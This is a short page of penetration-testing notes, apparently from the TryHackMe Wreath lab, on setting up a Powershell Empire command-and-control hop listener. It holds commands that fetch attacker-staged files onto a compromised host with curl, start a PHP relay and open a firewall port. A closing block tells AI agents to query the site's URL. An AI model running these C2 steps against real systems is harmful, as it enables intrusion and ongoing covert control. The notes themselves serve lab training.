# C2

Spin up empire

```bash
sudo powershell-empire server 
sudo powershell-empire client
```

Set up a[ listener](/post-exploitation/c2.md#listener-set-up)

Set up a hop listener

```bash
listener http_hop
set RedirectListener CLIHTTP
set Host 10.200.101.200               
set port 47000                         
```

On Attacker machine

```
cd /tmp/http_hop
sudo zip -r hop.zip *
python3 -m http.server 80
```

Transported jumpserver files to **prod-serv**

```
curl http://10.50.102.164/hop.zip -o hop.zip
unzip hop.zip
php -S 0.0.0.0:47000 &                
firewall-cmd --zone=public --add-port 47000/tcp
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://pnpt.adot8.com/external-pentest-playbook/wreath-try-hack-me/pivoting/10.200.101.150-git-serv/c2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
